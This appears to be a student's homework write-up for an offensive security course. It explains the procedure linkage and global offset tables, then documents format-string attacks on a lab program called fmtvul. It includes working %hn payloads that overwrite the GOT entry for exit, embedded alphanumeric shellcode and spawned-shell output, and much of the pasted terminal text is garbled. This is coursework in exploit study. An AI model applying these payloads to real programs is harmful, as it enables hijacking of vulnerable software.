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Homework 1 – 10/18/2022

1. Explain procedure linkage table and global offset table. Then use "objdump -R fmtvul" to find the address for function exit in the global offset table.

The **procedure linkage table** simply converts position-independent function calls to absolute locations. This means that it can be used to call external functions or procedures where the address is not known inside of the working function. For x86 architecture, the PLT is in shared text and at runtime, will determine the absolute addresses and modify the global offset table accordingly.

The **global offset table** holds absolute addresses in private data sections that code can access so it is not containing those addresses itself. The program code will use position-independent addressing to reference the GOT and extract the absolute values.

```
bash-4.2$ objdump -R fmtvul
         file format elf32-i386
fmtvul:
DYNAMIC RELOCATION RECORDS
OFFSET
      TYPE
                      VALUE
08049ffc R 386 GLOB DAT
                      gmon_start
0804a00c R 386 JUMP SLOT
                     printf@GLIBC 2.0
0804a018 R_386_JUMP_SLOT
                      system@GLIBC 2.0
0804a01c R 386 JUMP SLOT
                      libc_start_main@GLIBC 2.0
0804a020 R 386 JUMP SLOT
```

Above is the objdump for fmtvul program. I drew a red arrow pointing to the *exit* function and its address. The address is `0804a01c`.

Sources: https://docs.oracle.com/cd/E26505_01/html/E26506/chapter6-1235.html#:~:text=The%20global%20offset%20table%20converts,function%20calls%20to%20ab solute%20locations

https://docs.oracle.com/cd/E26505 01/html/E26506/chapter6-74186.html#scrolltoc

2.

```
bash-4.2$ ./fmtvul ls
Function my shell is at 0x080484dd and exit at 0x080483b0.
The address of the input array: 0xffffcd18
The value of the frame pointer: 0xffffccf8
The return address for fmtstr is at:
                                           0xffffccfc
The value of the return address: 0x080485e3
ls
The value of the return address: 0x080485e3
bash-4.2$
irons@linprog3.cs.fsu.edu:~/homeworkl_Offensive>gdb
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-120.e17
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86 64-redhat-linux-gnu".
For bug reporting instructions, please see:
<a href="http://www.gnu.org/software/gdb/bugs/">http://www.gnu.org/software/gdb/bugs/>.</a>
(qdb) print 0x0804
$1 = 2052
(gdb) print 0x84dd - 0x0804
$2 = 31961
(qdb) quit
irons@linprog3.cs.fsu.edu:~/homeworkl Offensive>
```

irons@linprog3.cs.fsu.edu:~/homeworkl_Offensive>./fmtvul `python -c 'print "\xle\xa0\x04\x08\xlc\xa0\x04\x08\\$1\$2044x\\$18\$hn\\$19\$hn0000"'` Function my_shell is at 0x080484dd and exit at 0x080483b0.

ii = 0xffffffel (-31) at 0x0804a02c.

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The address of the input array: 0xffffccf8
The value of the frame pointer: 0xffffccd8
The return address for fmtstr is at: 0xffffccdc
The value of the return address: 0x08048614

```
The value of the return address: 0x08048614
Shell for irons
sh-4.2$ whoami
irons
sh-4.2$ id
uid=51148(irons) gid=299(CS-Grads) groups=299(CS-Grads)
sh-4.2$ exit
exit
Segmentation fault
irons@linprog3.cs.fsu.edu:~/homeworkl_Offensive>
```

My input is:

./fmtvul `python -c 'print

"\x1e\xa0\x04\x08\x1c\xa0\x04\x08%1\$2044x%18\$hn%1\$31961x%19\$hn0000""

This input spawns a shell because the most significant bytes, 0x0804a01e and 0x0804a01c are written first (0xa01c being the exit function). After this, %1\$2044 puts 0x0804 on top of this because from the gdb 0x0804 printed was the value 2052, but we are using 8 bytes for the significant addresses at the start, thus 2052-8 = 2044. Then, %18\$hn%1\$31961 is the next important part of the input. This portion adds on the rest of the address for the my_shell, and the rest of the input fills out. We used hn in class so that is where I got it from.

3. Original attempts (this question took many hours to spawn a shell):

```
irons@linprog3.cs.fsu.edu:~/homeworkl Offensive>./fmtvul `./instruction strings SI`
sh-4.2$ exit
exit
Function my_shell is at 0x080484dd and exit at 0x080483b0.
ii = 0xffffffel (-31) at 0x0804a02c.
irons@linprog3.cs.fsu.edu:~/homeworkl Offensive>
irons@linprog3.cs.fsu.edu:~/homeworkl_Offensive>./fmtvul `printf "TX\x2d\x3e\x5bL\x3e\x2d\x3c4\x5dk\x2d\x2e
db\x5fUn\x2ds6\x60U\x2deA\x2enP\x2dSISI\x2d\x2dFSU\x2dv8r\x7c\x2df6ry\x2dytyRP\x2dSISI\x2d\x2dFSU\x2d\x5e\x
Function my shell is at 0x080484dd and exit at 0x080483b0.
ii = 0xfffffffel (-31) at 0x0804a02c.
The address of the input array: 0xffffcae8
The value of the frame pointer: 0xffffcac8
The return address for fmtstr is at:
                             0xffffcacc
The value of the return address: 0x08048614
TX->[L>-<4]k-.nVVP\%JONE%501:-SISI--FSU-H-E:-[,#7-T5#0P-SISI--FSU-/<s)-;-m+-N d9P-SISI--FSU-
The value of the return address: 0x08048614
irons@linprog3.cs.fsu.edu:~/homeworkl Offensive>
```

Getting a shell:

```
irons@linprog6.cs.fsu.edu:~/homeworkl_Offensive>./fmtvul3 `python -c 'print "\xle\xa0\x04\x08\xlc\xa0\x04\x08\$1$2044x\$18$hn\$1$31961x\$19$hn0"'
Function my_shell is at 0x080484dd and exit at 0x080483b0.
ii = 0xfffffel (-31) at 0x0804a02c.
The address of the input array: 0xffffccf8
The value of the frame pointer: 0xffffccd8
The return address for fmtstr is at: 0xffffccdc
The value of the return address: 0x080486a6
```

```
80486a60
The value of the return address: 0x080486a6
Shell for irons
sh-4.2$ exit
exit
Segmentation fault
```

Input was: ./fmtvul3 `python -c 'print

"\x1e\xa0\x04\x08\x1c\xa0\x04\x08%1\$2044x%18\$hn%1\$31961x%19\$hn0"" because I am reusing the fmtvul.c program, but it is recompiled (into fmtvul3) with the shellcode inside of the my_shell function. Sh-4.2\$ is my spawned shell (above).

Above is the portion of my_shell I changed. I compiled and ran the instruction set with my initials to attain the shellcode in the screenshot above (it was very long and ran offscreen). I added a NOP sled consisting of AIAI repeated. This was a bit tricky on placement, but I was eventually able to get my input pointing to my_shell again for fmtvul3 and running the shellcode within that.

During TA office hours, we discussed how to go about tackling this attack. TA recommended that I try putting the shellcode right into the program and then accessing it from there in command line and we discussed how to go about actually doing this. This was a good direction as I was confused on this question for a while; I could not figure out how to inject the shellcode onto the stack and then get it executed. Here, I am exploiting strcpy of my created buffer 'buff' with the shellcode 'code'. Since this was injected into the function my shell, I could reuse part of the input from the

After Professor Office Hours retry (removing it from my_shell):

previous question, which made things a little easier.

```
int ii:
void my shell()
 printf("Shell for %s\n", getenv("USER"));
  system("/bin/sh -i");
}
char sc[] = "TX\x2d\x3e\x5bL\x3e\x2d\x3c4\x5dk\x2d\x2
enVVP\x5c\x25JONE\x25501\x3a\x2dSISI\x2d\x2dFSU\x2dH\x2dE
\x3a\x2d\x5b\x2c\x237\x2dT5\x23oP\x2dSISI\x2d\x2dFSU\x2d\x2f
\x3cs\x29\x2d\x3b\x2dm\x2b\x2dN\x5fd9P\x2dSISI\x2d\x2dFSU\x2d\x25C9h\x2d\x21
\x23\x40\x27\x2d\x22\x259BP\x2dSISI\x2d\x2dFSU\x2d\x28\x285a\x2d\x25\x2a\x2dZ\x2d4
\x24V\x27P\x2dSISI\x2d\x2dFSU\x2d\x2c\x23jy\x2d\x28\x23ux\x2d\x2ccz\x5eP\x2dSISI\x2d
\x2dFSU\x2d\x3a\x3an2\x2d\x21\x2ai\x29\x2d\x230Y\x27P\x2dSISI\x2d\x2dFSU\x2db\x5fUn
\x2ds6\x60U\x2deA\x2enP\x2dSISI\x2d\x2dFSU\x2dv8r\x7c\x2df6ry\x2dytyRP\x2dSISI\x2d
\x2dFSU\x2d\x5e\x27\x7cM\x2d\x40\x28n5\x2d\x2d\x21xFP\x2dSISI\x2d\x2dFSU\x2d6o\x3dD
```

```
irons@linprog3.cs.fsu.edu:~/homeworkl_Offensive>./fmtvul4 `python -c 'print "\x
80\xa2\x04\x08 %1$010x %18$08x %1$010x %19$08x "''
Function my shell is at 0x0804850d and exit at 0x080483e0.
ii = 0xffffffel (-31) at 0x0804a280.
The address of the input array: 0xffffccf8
The value of the frame pointer: 0xffffccd8
The return address for fmtstr is at: Oxffffccdc
The value of the return address: 0x08048702
0008048702 0804a280 0008048702 2431255f TX->[L>-A]k-.nVVP\%JONE:-SISI-BSU-
HP:-[,7-T5#oP-SISI-ASU-/<s)-;-m+-N\UP-SISI-ASU-\Eh-!#@'-"-SISI-ASU-(Z-%134514434(
ZÔ$V'P-SISI-BSU-,#jy-(#ux-lz^P-SISI-BSU-::n2-!*i)-0Y'P-SISI-BSUU Un-s6'Uê.nP-SI
The value of the return address: 0x08048702
int main(int argc, char **argv)
...skipping one line
    char str[1000];
    ii = -31:
    printf("Function my shell is at 0x%08x and exit at 0x%08x.\n",
      my shell, exit);
    printf("ii = 0x%08x (%d) at 0x%08x.\n", ii, ii, sii);
    if (argc == 2) {
      strcpy(str, argv[1]);
     strcat(str, sc);
      fmtstr(str);
    exit(0);
}
(gdb) print 0x0804
$1 = 2052
(gdb) 0xa280 - 0x0804
Undefined command: "0xa280". Try "help".
(gdb) print 0xa280 - 0x0804
$2 = 39548
(gdb)
irons@linprog3.cs.fsu.edu:~/homeworkl Offensive>./fmtvul4 `python -c 'print "\x
7e\xa2\x04\x08\x80\xa2\x04\x08 %1$02040x %18$08x %1$032009x %19$08x "'`
Unknown user: c^D^Hc^D^H %1$02040x %18$08x %1$032009x %19$08x .
irons@linprog3.cs.fsu.edu:~/homeworkl Offensive>
```

```
Here, with two steps behind the target address, I was getting a strange unknown user error.
                              irons@linprog3.cs.fsu.edu:~/homeworkl_Offensive>./fmtvul-ii-sc `python -c 'prin
                              t "\xle\xa0\x04\x08\x20\xa0\x04\x08 %1$2040x $18$hnx %1$039548x %19$hnx
                              Function my shell is at 0x0804850d and exit at 0x080483e0.
                              ii = 0xfffffffel (-31) at 0x0804a280.
                              irons@linprog3.cs.fsu.edu:~/homeworkl Offensive>
                              now the program does nothing upon run. Attempting to overwrite the return address instead
                              resulting in a segfault:
                               0000000000000000000000000000000000Segmentation fault
                               irons@linprog3.cs.fsu.edu:~/homeworkl Offensive>
                               Connected to linprog.cs.fsu.edu

                               Trying with new file:
                               irons@linprog3.cs.fsu.edu:~/homeworkl_Offensive>objdump -R fmtvul-ii-sc
                               fmtvul-ii-sc:
                                                                file format elf32-i386
                              DYNAMIC RELOCATION RECORDS
                              OFFSET
                                             TYPE
                                                                                  VALUE
                              08049ffc R_386_GLOB_DAT __gmon_start_
0804a00c R_386_JUMP_SLOT __printf@GLIBC_2.0
                               0804a010 R_386_JUMP_SLOT sleep@GLIBC_2.0
                               0804a014 R 386 JUMP SLOT strcat@GLIBC 2.0
                               0804a018 R 386 JUMP SLOT strcpy@GLIBC 2.0
                               0804a01c R 386 JUMP SLOT puts@GLIBC 2.0
                               0804a020 R 386 JUMP SLOT system@GLIBC 2.0
                               0804a024 R 386 JUMP SLOT exit@GLIBC 2.0
                               0804a028 R 386 JUMP SLOT
                                                                                strlen@GLIBC 2.0
                               0804a02c R 386 JUMP SLOT
                                                                                   libc start main@GLIBC 2.0
                               irons@linprog3.cs.fsu.edu:~/homeworkl Offensive>
                              I was still getting segfaults:
&$_%1$02040x_%18$hn__%1$039548x %19$hn
                                                    _TX->[L>-ā]k-.nVVP\%JONE:-SISI-BSU-HÞ:-[,7-T5$oP-SISI-BSU-/<s)-;-m+-NÙP-SISI-BSU-Éh-!$@'-"-SISI-BSU-(Z-%*(ZÔ¢V'P-SISI-BSU-,$jy-($ux-Îz^P-S)
**_$14000340.$140111_$14000340.$134111_1A^*[L^*A]A: 110*\$12000340.$134111_1A^*[L^*A]A: 110*\$12000340.$134111_1A^*[L^*A]A: 110*\$12000340.$134111_1A^*[L^*A]A: 110*\$12000340.$134111_1A^*[L^*A]A: 110*\$12000340.$134111_1A^*[L^*A]A: 110*\$12000340.$134111_1A^*[L^*A]A: 110*\$12000340.$134111_1A^*[L^*A]A: 110*\$12000340.$134111_1A^*[L^*A]A: 110*\$12000340.$13411_1A^*[L^*A]A: 110*\$12000340.$13411_1A^*
ii = 0xffffffel (-31) at 0x0804a280.
```

At this point, I was only able to get a shell using the previous method before the extra time with Dr. Liu. Using the new file or the techniques from the extra assistance, I was unsuccessful.

Segmentation fault

Final Attempt SUCCESS!

ii = 0x0804856d (134514029) at 0x0804a280.

```
_%1$032102x_%19$hn____"'`
irons@linprogl.cs.fsu.edu:~/homeworkl_Offensive>objdump -R ./fmtvul-ii-sc
./fmtvul-ii-sc:
         file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET
   TYPE
            VALUE
08049ffc R_386_GLOB_DAT
            gmon start
0804a00c R_386_JUMP_SLOT
            printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT sleep@GLIBC_2.0
0804a014 R 386 JUMP SLOT
            strcat@GLIBC 2.0
0804a018 R 386 JUMP SLOT
            strcpy@GLIBC 2.0
0804a01c R_386_JUMP_SLOT
            puts@GLIBC 2.0
0804a020 R_386_JUMP_SLOT
            system@GLIBC 2.0
0804a024 R_386_JUMP_SLOT
            exit@GLIBC 2.0 	
0804a028 R_386_JUMP_SLOT
            strlen@GLIBC 2.0
0804a02c R_386_JUMP_SLOT
            __libc_start_main@GLIBC_2.0
irons@linprogl.cs.fsu.edu:~/homeworkl_Offensive>./fmtvul-ii-sc `python -c 'print "\x26\xa_0\x04\x08\x24\xa0\x04\x08_$1$2041x_$18$hn_$1$032102x_$19$hn_
NE:-SISI-&SU-HÞ:-[,7-T5#oP-SISI-&SU-/<s)-;-m+-NÙP-SISI-&SU-Éh-!#@'-"-SISI-&SU-(Z-%134514400(ZÔ$V'P-SISI-&SU-,#jy-(#ux-Îz^P-SISI-&SU-::n2-!*i)-0Y'P-SISI-&SUÛ_Un-s6`Uê.nP-SISI-&SU-
The value of the return address: 0x080486e0
Str lengthen 586
                _TX->[L>-Ä]k-.nVVP\%JONE:-SISI-BSU-HÞ:-[,7-T5#oP-SISI-BSU-/<s)-;-m+-NÙP-SISI-BSU-Éh-!#@'-"-SISI-BSU-(Z-%*(2Ô$V'P-SISI-BSU-,#jy-(#ux-Îz^P-
&$ %1$2041x %18$hn %1$032102x %19$hn
ii = 0xfffffffel (-31) at 0x0804a280.
586: &$_%1$2041x__%18$hn__%1$032102x_%19$hn_
                  _TX->[L>-Ä]k-.nVVP\%JONE:-SISI-BSU-HÞ:-[,7-T5#oP-SISI-BSU-/<s)-;-m+-NÙP-SISI-BSU-Éh-!#@'-"-SISI-BSU-(Z-%*(ZÔ¢V'P-SISI-BSU-,#jy-(#ux-
sh-4.2$ whoami
sh-4.2$ id
uid=51148(irons) gid=299(CS-Grads) groups=299(CS-Grads)
sh-4.2$ exit
Segmentation fault
irons@linprogl.cs.fsu.edu:~/homeworkl Offensive>
```

I finally got a shell! After professor Liu gave us an extra day, I came back to this problem and looked at it one more time. From here, I noticed that my "ii" value wasn't lining up with the my_shell function, so through a bit of trial and error I found the values \$2041 and \$032102 accurately change my ii value to 0x0804856d (the my_shell address). After this, I did objdump again to get the exit address, and changed the beginning of the print command. With this, I was finally able to get a shell.